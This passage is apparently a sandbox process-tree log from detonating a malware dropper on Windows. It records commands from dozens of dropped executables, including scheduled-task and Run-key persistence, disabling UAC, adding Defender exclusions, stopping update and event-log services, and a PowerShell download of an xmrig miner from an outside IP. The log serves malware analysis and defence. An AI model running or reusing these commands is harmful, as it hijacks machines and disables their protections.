  - - C:\Users\Admin\Desktop\a\diskutil.exe
      "C:\Users\Admin\Desktop\a\diskutil.exe"
      4⤵
      PID:7336
  - - C:\Users\Admin\Desktop\a\OneDrive.exe
      "C:\Users\Admin\Desktop\a\OneDrive.exe"
      4⤵
      PID:1096
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Microsoft OneDrive" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Onedrive\Onedrive.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10184
    - - C:\Users\Admin\AppData\Roaming\Onedrive\Onedrive.exe
        
        "C:\Users\Admin\AppData\Roaming\Onedrive\Onedrive.exe"
        5⤵
        
        PID:10724
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Microsoft OneDrive" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Onedrive\Onedrive.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11224
  - - C:\Users\Admin\Desktop\a\mode11_CBNx.exe
      "C:\Users\Admin\Desktop\a\mode11_CBNx.exe"
      4⤵
      PID:8012
  - - C:\Users\Admin\Desktop\a\mode11_6dMu.exe
      "C:\Users\Admin\Desktop\a\mode11_6dMu.exe"
      4⤵
      PID:6652
  - - C:\Users\Admin\Desktop\a\image.exe
      "C:\Users\Admin\Desktop\a\image.exe"
      4⤵
      PID:10936
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10936 -s 648
        5⤵
        Program crash
        
        PID:8676
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10936 -s 656
        5⤵
        Program crash
        
        PID:7480
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:3504
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:7160
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:3964
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:3004
  - - C:\Users\Admin\Desktop\a\drop1.exe
      "C:\Users\Admin\Desktop\a\drop1.exe"
      4⤵
      PID:3480
    - - C:\Users\Admin\Desktop\a\drop1.exe
        
        "C:\Users\Admin\Desktop\a\drop1.exe"
        5⤵
        
        PID:8776
    - - C:\Users\Admin\Desktop\a\drop1.exe
        
        "C:\Users\Admin\Desktop\a\drop1.exe"
        5⤵
        
        PID:8992
    - - C:\Users\Admin\Desktop\a\drop1.exe
        
        "C:\Users\Admin\Desktop\a\drop1.exe"
        5⤵
        
        PID:8340
    - - C:\Users\Admin\Desktop\a\drop1.exe
        
        "C:\Users\Admin\Desktop\a\drop1.exe"
        5⤵
        
        PID:8440
  - - C:\Users\Admin\Desktop\a\IMG001.exe
      "C:\Users\Admin\Desktop\a\IMG001.exe"
      4⤵
      PID:5076
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
        5⤵
        
        PID:1216
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im tftp.exe
        6⤵
        Kills process with taskkill
        
        PID:5132
    - - C:\Users\Admin\AppData\Local\Temp\tftp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
        5⤵
        
        PID:10404
    - - C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
        
        "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        5⤵
        
        PID:8944
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
        6⤵
        
        PID:9812
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im tftp.exe
        7⤵
        Kills process with taskkill
        
        PID:11116
      - C:\Users\Admin\AppData\Local\Temp\tftp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
        6⤵
        
        PID:3016
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
        6⤵
        
        PID:6592
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
        7⤵
        
        PID:7292
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        6⤵
        
        PID:6932
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2680
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        6⤵
        
        PID:8096
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8164
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
        6⤵
        Power Settings
        
        PID:4996
        
        C:\Windows\SysWOW64\powercfg.exe
        
        powercfg /CHANGE -standby-timeout-ac 0
        7⤵
        Power Settings
        
        PID:7680
        
        C:\Windows\SysWOW64\powercfg.exe
        
        powercfg /CHANGE -hibernate-timeout-ac 0
        7⤵
        Power Settings
        
        PID:5288
        
        C:\Windows\SysWOW64\powercfg.exe
        
        Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
        7⤵
        Power Settings
        
        PID:3152
  - - C:\Users\Admin\Desktop\a\NOTallowedtocrypt.exe
      "C:\Users\Admin\Desktop\a\NOTallowedtocrypt.exe"
      4⤵
      PID:2424
    - - C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        
        PID:3608
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        Modifies registry key
        
        PID:10312
    - - C:\Users\Admin\AppData\Roaming\kjhgfdc\76y5trfed675ytg.exe
        
        "C:\Users\Admin\AppData\Roaming\kjhgfdc\76y5trfed675ytg.exe"
        5⤵
        
        PID:9332
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9332 -s 528
        6⤵
        Program crash
        
        PID:9088
  - - C:\Users\Admin\Desktop\a\Test2.exe
      "C:\Users\Admin\Desktop\a\Test2.exe"
      4⤵
      PID:872
    - - C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
        5⤵
        
        PID:7232
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9xaax2XcK4G2.bat" "
        6⤵
        
        PID:10688
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:9336
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1224
  - - C:\Users\Admin\Desktop\a\ytjgjdrthjdw.exe
      "C:\Users\Admin\Desktop\a\ytjgjdrthjdw.exe"
      4⤵
      PID:8128
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "NET framework" /sc ONLOGON /tr "C:\Users\Admin\Desktop\a\ytjgjdrthjdw.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10576
  - - C:\Users\Admin\Desktop\a\kthiokadjg.exe
      "C:\Users\Admin\Desktop\a\kthiokadjg.exe"
      4⤵
      PID:8616
  - - C:\Users\Admin\Desktop\a\jrockekcurje.exe
      "C:\Users\Admin\Desktop\a\jrockekcurje.exe"
      4⤵
      PID:2524
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "NET framework" /sc ONLOGON /tr "C:\Users\Admin\Desktop\a\jrockekcurje.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8236
  - - C:\Users\Admin\Desktop\a\toolwin.exe
      "C:\Users\Admin\Desktop\a\toolwin.exe"
      4⤵
      PID:7560
  - - C:\Users\Admin\Desktop\a\systempreter.exe
      "C:\Users\Admin\Desktop\a\systempreter.exe"
      4⤵
      PID:1216
    - - C:\Users\Admin\Desktop\a\._cache_systempreter.exe
        
        "C:\Users\Admin\Desktop\a\._cache_systempreter.exe"
        5⤵
        
        PID:5988
  - - C:\Users\Admin\Desktop\a\Sync.exe
      "C:\Users\Admin\Desktop\a\Sync.exe"
      4⤵
      PID:2012
  - - C:\Users\Admin\Desktop\a\image%20logger.exe
      "C:\Users\Admin\Desktop\a\image%20logger.exe"
      4⤵
      PID:10072
  - - C:\Users\Admin\Desktop\a\mode11_UVo6.exe
      "C:\Users\Admin\Desktop\a\mode11_UVo6.exe"
      4⤵
      PID:5972
  - - C:\Users\Admin\Desktop\a\mode11_N1Fz.exe
      "C:\Users\Admin\Desktop\a\mode11_N1Fz.exe"
      4⤵
      PID:7552
  - - C:\Users\Admin\Desktop\a\Google%20Chrome.exe
      "C:\Users\Admin\Desktop\a\Google%20Chrome.exe"
      4⤵
      PID:4372
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B275.tmp\B276.tmp\B277.bat C:\Users\Admin\Desktop\a\Google%20Chrome.exe"
        5⤵
        
        PID:8676
  - - C:\Users\Admin\Desktop\a\Bootxr.exe
      "C:\Users\Admin\Desktop\a\Bootxr.exe"
      4⤵
      PID:9480
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c powershell Invoke-WebRequest -Uri http://45.125.67.168/stelin/xmrig.exe -Outfile C:\WinXRAR\xmrig.exe
        5⤵
        
        PID:7724
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Invoke-WebRequest -Uri http://45.125.67.168/stelin/xmrig.exe -Outfile C:\WinXRAR\xmrig.exe
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9992
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:2844
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:5744
  - - C:\Users\Admin\Desktop\a\wudi.exe
      "C:\Users\Admin\Desktop\a\wudi.exe"
      4⤵
      PID:9260
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:6540
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:2124
  - - C:\Users\Admin\Desktop\a\64.exe
      "C:\Users\Admin\Desktop\a\64.exe"
      4⤵
      PID:9068
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c color 0a
        5⤵
        
        PID:8932
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c chcp 936
        5⤵
        
        PID:10008
      - C:\Windows\system32\chcp.com
        
        chcp 936
        6⤵
        
        PID:10140
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:6396
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:3404
  - - C:\Users\Admin\Desktop\a\sdggwsdgdrwgrwgrwgrwgrw.exe
      "C:\Users\Admin\Desktop\a\sdggwsdgdrwgrwgrwgrwgrw.exe"
      4⤵
      PID:8916
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:2708
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:1324
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:6236
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:5724
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:6280
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:1764
  - - C:\Users\Admin\Desktop\a\Client.exe
      "C:\Users\Admin\Desktop\a\Client.exe"
      4⤵
      PID:1412
  - - C:\Users\Admin\Desktop\a\svhost.exe
      "C:\Users\Admin\Desktop\a\svhost.exe"
      4⤵
      PID:5616
  - - C:\Users\Admin\Desktop\a\123.exe
      "C:\Users\Admin\Desktop\a\123.exe"
      4⤵
      PID:7076
  - - C:\Users\Admin\Desktop\a\xmrig.exe
      "C:\Users\Admin\Desktop\a\xmrig.exe"
      4⤵
      PID:7700
  - - C:\Users\Admin\Desktop\a\TEST.exe
      "C:\Users\Admin\Desktop\a\TEST.exe"
      4⤵
      PID:8180
  - - C:\Users\Admin\Desktop\a\drop2.exe
      "C:\Users\Admin\Desktop\a\drop2.exe"
      4⤵
      PID:5812
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7624
    - - C:\Windows\SYSTEM32\SCHTASKS.exe
        
        SCHTASKS /CREATE /TN "System-f4855f59e0" /TR "C:\Windows\System32\System-f4855f59e0.exe" /SC ONLOGON /RL HIGHEST /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10076
    - - C:\Windows\SysWOW64\explorer.exe
        
        "C:\Windows\SysWOW64\explorer.exe"
        5⤵
        
        PID:9408
  - - C:\Users\Admin\Desktop\a\01.exe
      "C:\Users\Admin\Desktop\a\01.exe"
      4⤵
      PID:4928
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 340
        5⤵
        Program crash
        
        PID:8836
  - - C:\Users\Admin\Desktop\a\02.exe
      "C:\Users\Admin\Desktop\a\02.exe"
      4⤵
      PID:8296
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8296 -s 340
        5⤵
        Program crash
        
        PID:8888
  - - C:\Users\Admin\Desktop\a\Kerish_Doctor_2022.exe
      "C:\Users\Admin\Desktop\a\Kerish_Doctor_2022.exe"
      4⤵
      PID:7584
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:3732
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:2460
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:5204
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:2708
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:3500
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:6200
  - - C:\Users\Admin\Desktop\a\chrtrome22.exe
      "C:\Users\Admin\Desktop\a\chrtrome22.exe"
      4⤵
      PID:5800
    - - C:\xmrig\xmrig-6.22.2\xmrig.exe
        
        "C:\xmrig\xmrig-6.22.2\xmrig.exe" --config=C:\xmrig\xmrig-6.22.2\config.json
        5⤵
        
        PID:1796
  - - C:\Users\Admin\Desktop\a\Fixer.exe
      "C:\Users\Admin\Desktop\a\Fixer.exe"
      4⤵
      PID:6980
  - - C:\Users\Admin\Desktop\a\Steanings.exe
      "C:\Users\Admin\Desktop\a\Steanings.exe"
      4⤵
      PID:7380
  - - C:\Users\Admin\Desktop\a\AsyncClientGK.exe
      "C:\Users\Admin\Desktop\a\AsyncClientGK.exe"
      4⤵
      PID:7468
  - - C:\Users\Admin\Desktop\a\RuntimeBroker.exe
      "C:\Users\Admin\Desktop\a\RuntimeBroker.exe"
      4⤵
      PID:8000
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Windows\system32\a7\RuntimeBroker.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5420
    - - C:\Windows\system32\a7\RuntimeBroker.exe
        
        "C:\Windows\system32\a7\RuntimeBroker.exe"
        5⤵
        
        PID:7768
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Windows\system32\a7\RuntimeBroker.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7740
  - - C:\Users\Admin\Desktop\a\JJSPLOIT.V2.exe
      "C:\Users\Admin\Desktop\a\JJSPLOIT.V2.exe"
      4⤵
      PID:5712
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "windows background updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\windows updater\windows 3543.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8692
  - - C:\Users\Admin\Desktop\a\00.exe
      "C:\Users\Admin\Desktop\a\00.exe"
      4⤵
      PID:8936
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8936 -s 340
        5⤵
        Program crash
        
        PID:3372
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:4344
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:4336
  - - C:\Users\Admin\Desktop\a\Crawl.exe
      "C:\Users\Admin\Desktop\a\Crawl.exe"
      4⤵
      PID:9204
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9204 -s 476
        5⤵
        Program crash
        
        PID:8708
- C:\Users\Admin\Desktop\New Text Document mod.exe
  "C:\Users\Admin\Desktop\New Text Document mod.exe"
  2⤵
  PID:1392
- - C:\Users\Admin\Desktop\._cache_New Text Document mod.exe
    "C:\Users\Admin\Desktop\._cache_New Text Document mod.exe"
    3⤵
    PID:6172
  - - C:\Users\Admin\Desktop\a\32.exe
      "C:\Users\Admin\Desktop\a\32.exe"
      4⤵
      PID:9932
    - - C:\Users\Admin\Desktop\a\._cache_32.exe
        
        "C:\Users\Admin\Desktop\a\._cache_32.exe"
        5⤵
        
        PID:7740
      - C:\Users\Admin\Desktop\a\a\voidware_loader.exe
        
        "C:\Users\Admin\Desktop\a\a\voidware_loader.exe"
        6⤵
        
        PID:9288
      - C:\Users\Admin\Desktop\a\a\build.exe
        
        "C:\Users\Admin\Desktop\a\a\build.exe"
        6⤵
        
        PID:7624
      - C:\Users\Admin\Desktop\a\a\gem2.exe
        
        "C:\Users\Admin\Desktop\a\a\gem2.exe"
        6⤵
        
        PID:5172
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:9880
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        8⤵
        
        PID:1096
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:9824
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:10464
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:11096
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        7⤵
        Launches sc.exe
        
        PID:10956
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        7⤵
        Launches sc.exe
        
        PID:10696
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        7⤵
        Power Settings
        
        PID:10020
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        7⤵
        Power Settings
        
        PID:6652
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        7⤵
        Power Settings
        
        PID:224
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        7⤵
        Power Settings
        
        PID:10208
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        7⤵
        
        PID:10544
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        7⤵
        Launches sc.exe
        
        PID:9988
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GeekBrains"
        7⤵
        Launches sc.exe
        
        PID:9340
      - C:\Users\Admin\Desktop\a\a\gem1.exe
        
        "C:\Users\Admin\Desktop\a\a\gem1.exe"
        6⤵
        
        PID:9548
        
        C:\Users\Admin\Desktop\a\a\gem1.exe
        
        "C:\Users\Admin\Desktop\a\a\gem1.exe"
        7⤵
        
        PID:5484
        
        C:\Users\Admin\Desktop\a\a\gem1.exe
        
        "C:\Users\Admin\Desktop\a\a\gem1.exe"
        7⤵
        
        PID:10196
        
        C:\Users\Admin\Desktop\a\a\gem1.exe
        
        "C:\Users\Admin\Desktop\a\a\gem1.exe"
        7⤵
        
        PID:7568
        
        C:\Users\Admin\Desktop\a\a\gem1.exe
        
        "C:\Users\Admin\Desktop\a\a\gem1.exe"
        7⤵
        
        PID:5820
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9548 -s 816
        7⤵
        Program crash
        
        PID:9988
  - - C:\Users\Admin\Desktop\a\BootstrapperNew.exe
      "C:\Users\Admin\Desktop\a\BootstrapperNew.exe"
      4⤵
      PID:8340
  - - C:\Users\Admin\Desktop\a\prueba.exe
      "C:\Users\Admin\Desktop\a\prueba.exe"
      4⤵
      PID:9756
  - - C:\Users\Admin\Desktop\a\NOTallowedtocrypt.exe
      "C:\Users\Admin\Desktop\a\NOTallowedtocrypt.exe"
      4⤵
      PID:9088
    - - C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        
        PID:768
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        Modifies registry key
        
        PID:9840
    - - C:\Users\Admin\AppData\Roaming\kjhgfdc\76y5trfed675ytg.exe
        
        "C:\Users\Admin\AppData\Roaming\kjhgfdc\76y5trfed675ytg.exe"
        5⤵
        
        PID:8372
      - C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        
        PID:5836
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        7⤵
        Modifies registry key
        
        PID:11112
      - \??\c:\program files (x86)\internet explorer\iexplore.exe
        
        "c:\program files (x86)\internet explorer\iexplore.exe"
        6⤵
        
        PID:8608
        
        C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        7⤵
        
        PID:8384
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        8⤵
        Modifies registry key
        
        PID:9620
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        
        PID:9916
        
        C:\Users\Admin\AppData\Roaming\kjhgfdc\76y5trfed675ytg.exe
        
        "C:\Users\Admin\AppData\Roaming\kjhgfdc\76y5trfed675ytg.exe"
        8⤵
        
        PID:3492
        
        C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        9⤵
        
        PID:632
        
        \??\c:\program files (x86)\internet explorer\iexplore.exe
        
        "c:\program files (x86)\internet explorer\iexplore.exe"
        9⤵
        
        PID:3080
        
        C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        10⤵
        
        PID:5424
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3080 -s 1088
        10⤵
        Program crash
        
        PID:3680
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8608 -s 1192
        7⤵
        Program crash
        
        PID:2932
  - - C:\Users\Admin\Desktop\a\mcgen.exe
      "C:\Users\Admin\Desktop\a\mcgen.exe"
      4⤵
      PID:10428
    - - C:\Users\Admin\Desktop\a\mcgen.exe
        
        "C:\Users\Admin\Desktop\a\mcgen.exe"
        5⤵
        
        PID:8188
  - - C:\Users\Admin\Desktop\a\Gorebox%20ModMenu%201.2.0.exe
      "C:\Users\Admin\Desktop\a\Gorebox%20ModMenu%201.2.0.exe"
      4⤵
      PID:1692
  - - C:\Users\Admin\Desktop\a\mode11_0HVJ.exe
      "C:\Users\Admin\Desktop\a\mode11_0HVJ.exe"
      4⤵
      PID:8028
  - - C:\Users\Admin\Desktop\a\mode11_AKUh.exe
      "C:\Users\Admin\Desktop\a\mode11_AKUh.exe"
      4⤵
      PID:9384
  - - C:\Users\Admin\Desktop\a\daytjhasdawd.exe
      "C:\Users\Admin\Desktop\a\daytjhasdawd.exe"
      4⤵
      PID:1624
  - - C:\Users\Admin\Desktop\a\Java32.exe
      "C:\Users\Admin\Desktop\a\Java32.exe"
      4⤵
      PID:8364
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\a\Java32.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4780
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java32.exe'
        5⤵
